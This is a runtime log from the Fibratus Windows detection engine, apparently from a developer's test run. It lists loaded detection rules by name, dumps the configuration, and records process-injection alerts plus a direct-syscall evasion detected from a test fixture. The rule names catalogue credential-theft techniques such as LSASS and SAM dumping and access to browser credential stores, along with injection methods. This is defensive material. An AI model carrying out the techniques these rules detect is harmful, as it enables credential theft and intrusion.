+time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:43:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T20:43:26+01:00 level=info msg=bootstrapping with pid 16948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T20:43:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-thread=>true enable-registry=>true enable-dns=>false enable-threadpool=>false enable-mem=>false max-buffers=>36 stack-enrichment=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 flush-interval=>1s min-buffers=>16 enable-image=>true enable-handle=>false enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ index-name=>fibratus timeout=>5s trace-log=>false healthcheck-timeout=>5s healthcheck=>true gzip-compression=>false enabled=>false template-name=>fibratus sniff=>false flush-period=>1s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1] amqp=>[ vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient passive=>false timeout=>5s durable=>false enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T20:43:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:43:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:43:46+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 914909 + Pid: 15020 + Tid: 1216 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 20:43:44.7541523 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 15020 + Ppid: 5596 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--pswd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--execution-time=18.0716" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--pswd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--execution-time=18.0716" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T20:45:36+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1162084 + Pid: 1484 + Tid: 17756 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 20:45:34.8657911 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1484 + Ppid: 5596 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--pswd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--execution-time=44.9942" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--pswd=C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall" "--execution-time=44.9942" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T20:45:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T20:45:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:45:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T20:46:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:46:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T20:46:38+01:00 level=info msg=bootstrapping with pid 16976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T20:46:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-handle=>false enable-audit-api=>true enable-dns=>false min-buffers=>16 enable-registry=>true enable-vamap=>true enable-thread=>true enable-image=>true max-buffers=>36 enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s stack-enrichment=>true enable-threadpool=>false enable-net=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ exchange-type=>topic exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient timeout=>5s durable=>false passive=>false tls-insecure-skip-verify=>false enabled=>false] http=>[ endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enabled=>false timeout=>5s enable-gzip=>false method=>POST] elasticsearch=>[ healthcheck-interval=>10s bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s index-name=>fibratus healthcheck=>true sniff=>false healthcheck-timeout=>5s template-name=>fibratus enabled=>false trace-log=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T20:46:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:46:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T20:46:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1204622 + Pid: 2492 + Tid: 16984 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 20:46:44.711237 +0100 CET + Params: status➜ The handle is invalid + Metadata: evasions: [direct_syscall] + + Pid: 2492 + Ppid: 5596 + Name: direct-syscall.exe + Cmdline: + Exe: C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0xfffff8009bd47f6c C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0x2dc|0xfffff8009bd47cc3 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0x33|0xfffff8009bd48eac C:\WINDOWS\system32\ntoskrnl.exe!KeStackAttachProcess+0x1dc|0xfffff8009be58539 C:\WINDOWS\system32\ntoskrnl.exe!HalTranslateBusAddress+0x1d9|0xfffff8009bd0e78a C:\WINDOWS\system32\ntoskrnl.exe!WmiTraceMessage+0x176a|0xfffff8009bc56d73 C:\WINDOWS\system32\ntoskrnl.exe!EtwWriteEx+0x113|0xfffff8009bc57b1c C:\WINDOWS\system32\ntoskrnl.exe!EtwWrite+0x2c|0xfffff8009c46f53b C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByPointerWithTag+0xcbb|0xfffff8009c46f48c C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByPointerWithTag+0xc0c|0xfffff8009c0b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ff6946f12ff C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ff6946f1a03 C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ff6946f1bfc C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe!?|0x7ffd02eae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffd03c28d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-11T20:46:45+01:00 level=info msg=sending alert: [Direct syscall from a stomped module]. Text: Event(s): + Seq: 1204622 + Pid: 2492 + Tid: 16984 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 20:46:44.711237 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, evasions: [direct_syscall], rule.name: Direct syscall from a stomped module, tactic.id: TA0005 + + Pid: 2492 + Ppid: 5596 + Name: direct-syscall.exe + Cmdline: + Exe: C:\Fibratus\fibratus\internal\etw\_fixtures\direct-syscall\direct-syscall.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 